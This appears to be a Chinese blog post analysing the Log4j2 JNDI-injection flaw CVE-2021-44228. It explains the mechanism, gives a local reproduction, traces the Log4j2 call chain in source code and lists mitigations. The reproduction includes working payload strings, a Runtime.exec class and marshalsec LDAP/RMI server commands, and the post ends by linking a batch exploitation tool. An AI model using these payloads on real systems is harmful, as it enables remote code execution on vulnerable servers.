引言: 不管是什么编程语言,不管是前端后端还是客户端,对打日志都不会陌生。通过日志,可以帮助我们了解程序的运行情况,排查程序运行中出现的问题。在Java技术栈中,用的比较多的日志输出框架主要是log4j2和logback。我们经常会在日志中输出一些变量,比如:logger.info(“proj name: {}”, name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是,最近全球知名开源日志组件 Apache Log4j2 被阿里团队曝出严重高危漏洞。该漏洞号称可以让黑客不用知道服务器账号,就可以做到如入无人之境,进而对你的服务做任何你可以想象到的破坏。
漏洞描述: 阿里云安全团队报告Apache Log4j2
某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka
均受影响。
漏洞编号: CVE-2021-44228
CVSS
评分:10.0(最高只能10分)
基本原理:
1.时序图
2.流程图
具体细节实现:
1.伪装一个请求体,包含JNDI可执行的服务,以下展示LDAP与RMI两种请求格式:
LDAP: ${jndi:ldap://127.0.0.1:1234/calc}
RMI: ${jndi:rmi://127.0.0.1:1234/calc}
2.Service App在恰巧输出了请求体或者入参的log日志时,则会触发此URL的请求,进一步主动请求了攻击者提前准备好的的LADP/RMI Service App
3.利用LDAP/RMI的特性,我们可以伪装返回值,含有待执行的恶意Class文件地址以及Class类名
4.LDAP服务找不到对应Class文件就会触发JNDI的机制从远程服务器中下载Class中
5.Malicious Service App提供可执行Class文件下载,Service App拿到到Class文件后会触发反序列化执行代码,达到了远程执行代码的目的
名词解释:
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。简单理解就是有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。援引网上的说法,jndi就是java一套资源发现和使用的接口,用来将各种资源做整合,程序员不用关心底层配置和代码实现,将资源拿来用就可以了
。
RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能。在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的
:
LDAP即
Lightweight Directory Access Protocol(轻量级目录访问协议),基于TCP/IP协议,可以理解为目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。简单理解就是有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。
基于以上名词的理解,那么本次漏洞的原因就很好理解了
那log4j2既然是一个日志框架, 那应该是打印到控制台才对, 为什么一个简单的打印会爆出如此可怕级别的漏洞呢, 那是因为log4j2不仅仅只用于输出一段文字, 甚至可以通过日志输出一个Java对象,但是如果这个对象并不在当前程序中,而是在其他地方,比如说在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?log4j2牛逼的地方就来了,它除了可以输出程序中的变量,甚至提供了一个叫**Lookup**的东西,用来输出更多内容。
lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。
首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。
其次将内容进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,并找到对应的LDAP服务器地址和对应的类文件名称。
最后,调用具体负责LDAP的模块去请求对应的数据。
问题点就出在还可以请求Java对象, 我们都知道Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。
当然如果是通过我们定义的网络路径传输当然并不是什么问题, 那么如果此网络路径是恶意路径呢, 是一个黑客服务器路径呢???这就是鼎鼎大名的JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。
JNDI注入中RMI和LDAP与JDK版本的关系,参考这张图:
引用来源: https://xz.aliyun.com/t/6633
RMI + JNDI Reference利用方式
:
JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
即默认不允许从远程的Codebase
加载Reference
工厂类
LDAP + JDNI Reference利用方式:
JDK 6u211,7u201, 8u191, 11.0.1
之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
好了, 说了那么多, 漏洞如何复现呢?接下来让我们尝试复现此漏洞
环境准备: Win10 + jdk_1.8.0_292 + log4j-core_2.13.3 + log4j-api_2.13.3 + python_3.8
LDAP方式实现
准备好待执行java代码并编译为class文件
public class calc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception ignored) {
}
}
}
javac calc.java
在class文件目录下利用python搭建http服务传输class文件的服务
1. python -m SimpleHTTPServer 8080 //python2 模式命令
2. python -m http.server 8080 //python3 模式命令
搭建并启动一个LDAP服务器, 监听1234端口
下载marshalsec(该项目是已经准备好的可以开启LDAP以及RMI服务的应用)
新建cmd窗口并执行以下命令
1. git clone https://github.com/mbechler/marshalsec.git
2. cd marshalsec
3. mvn clean package -DskipTests
4. cd target
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[ip]:[port]/#calc" 1234 //ip port就填上上面搭建的class传输服务的地址
创建测试项目
项目中log4j版本依赖定义
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.13.3version>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>2.13.3version>
dependency>
项目启动方法定义
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1234/calc}");
}
}
启动项目执行入口方法发现本机的计算器窗口被打开
RMI方式实现
将以上LDAP
方式中第三步中的第5小步命令更换成
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[ip]:[port]/#calc" 1234 //ip port就填上上面搭建的class传输服务的地址
将启动入口方法日志打印内容更换为
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:rmi://127.0.0.1:1234/calc}");
}
}
至此, 漏洞复现完毕,接下来 我们深入一下调用链路究竟logger.error()
是如何层层调用至JndiLookup.lookup
的:
首先我们从debug logger.error()
跟进至AbstractLogger.tryLogMessage.log
方法
private void tryLogMessage(final String fqcn,
final StackTraceElement location,
final Level level,
final Marker marker,
final Message message,
final Throwable throwable) {
try {
log(level, marker, fqcn, location, message, throwable);
} catch (final Exception e) {
handleLogMessageException(e, fqcn, message);
}
}
然后是org.apache.logging.log4j.core.Loggger.log
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
final Message message, final Throwable throwable) {
final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
if (strategy instanceof LocationAwareReliabilityStrategy) {
// 触发点
((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
message, throwable);
} else {
strategy.log(this, getName(), fqcn, marker, level, message, throwable);
}
}
然后是org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log
@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
final StackTraceElement location, final Marker marker, final Level level, final Message data,
final Throwable t) {
loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
进入LoggerConfig.log
方法
@PerformanceSensitive("allocation")
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
...
try {
// 跟入
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
进入LoggerConfig
另一处重载log
方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
if (!isFiltered(event)) {
// 跟入
processLogEvent(event, predicate);
}
}
进入processLogEvent
方法
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
// 关键点
callAppenders(event);
}
logParent(event, predicate);
}
可以看到调用appender.control
的callAppender
方法
@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
final AppenderControl[] controls = appenders.get();
//noinspection ForLoopReplaceableByForEach
for (int i = 0; i < controls.length; i++) {
controls[i].callAppender(event);
}
}
继续
public void callAppender(final LogEvent event) {
if (shouldSkip(event)) {
return;
}
//跟入
callAppenderPreventRecursion(event);
}
继续
private void callAppenderPreventRecursion(final LogEvent event) {
try {
recursive.set(this);
//跟入
callAppender0(event);
} finally {
recursive.set(null);
}
}
继续
private void callAppender0(final LogEvent event) {
ensureAppenderStarted();
if (!isFilteredByAppender(event)) {
//跟入
tryCallAppender(event);
}
}
跟入tryCallAppender
方法
private void tryCallAppender(final LogEvent event) {
try {
//跟入
appender.append(event);
} catch (final RuntimeException ex) {
handleAppenderError(event, ex);
} catch (final Exception ex) {
handleAppenderError(event, new AppenderLoggingException(ex));
}
}
进入AbstractOutputStreamAppender.append
方法,进入到directEncodeEvent
方法
@Override
public void append(final LogEvent event) {
try {
//跟入
tryAppend(event);
} catch (final AppenderLoggingException ex) {
error("Unable to write to stream " + manager.getName() + " for appender " + getName(), event, ex);
throw ex;
}
}
跟入
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
//跟入
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
跟入
protected void directEncodeEvent(final LogEvent event) {
//跟入
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
跟入encode
方法进入到PatternLayout.encode
方法
@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) {
if (!(eventSerializer instanceof Serializer2)) {
super.encode(event, destination);
return;
}
//重点位置跟入
final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
encoder.encode(text, destination);
trimToMaxSize(text);
}
跟入toText
方法到toSerializable
方法中
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
//遍历formatters,均为PatternFormatter的实现,其中有一个
//对象包含的MessagePatternConverter属性触发了漏洞
formatters[i].format(event, buffer);
}
if (replace != null) { // creates temporary objects
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
跟入index为8的formatter找到其format方法
跟入
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}
跟入其converter实现为MessagePatternConverter
的format核心方法
Remark(修复后此处对象变更为MessagePatternConverter.SimplePatternConverter
类,跟了下流程发现到PatternLayout.toSerializable
方法发生了变化不过这里的变化没有什么影响,其中的formatters
属性的变化将操作变成了直接拼接字符串的操作,不去判断${}
这种情况)
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
//重点位置 检测关键词 ${
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
//跟入replace方法
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
跟入StrSubstitutor.replace
方法
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
// 跟入
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
跟入StrSubstitutor.subtute
方法,主要作用是递归处理日志输入,转为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
那恶意输入logger.error("error_message:${jndi:ldap://127.0.0.1:1234/calc}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/calc
进入resolveVariable
方法
跟入resolveVariable
方法
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
//跟入
return resolver.lookup(event, variableName);
}
根据jndi
开头的标识获取对应的resolver,在这里为JndiLookup
,跟入其lookup 方法如下
@Override
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
//跟入lookup方法
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
跟入JndiManager
的lookup
方法
public <T> T lookup(final String name) throws NamingException {
//跟入
return (T) this.context.lookup(name);
}
跟入到com.sun.jndi.url.ldap.ldapURLContext
的lookup(String var1)
方法
public Object lookup(String var1) throws NamingException {
if (LdapURL.hasQueryComponents(var1)) {
throw new InvalidNameException(var1);
} else {
//跟入
return super.lookup(var1);
}
}
跟入GenericURLContext
的lookup
方法
public Object lookup(String var1) throws NamingException {
//根据url地址获取java对象
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
//获取context执行
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
后续的处理只是执行层面的, 有兴趣的可以继续往后debug, 本次源码剖析暂时告一段落
解决方案:
1、临时缓解方案
在jvm参数中添加 -Dlog4j2.FORMATMsgNoLookups=true
系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
2、彻底修复方案
手动删除log4j-core-*.jar中org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务即可。
升级到官方提供的 log4j-2.15.0-rc2 版本
最后附一款GUI工具,项目地址:GitHub - inbug-team/Log4j_RCE_Tool: Log4j 多线程批量检测利用工具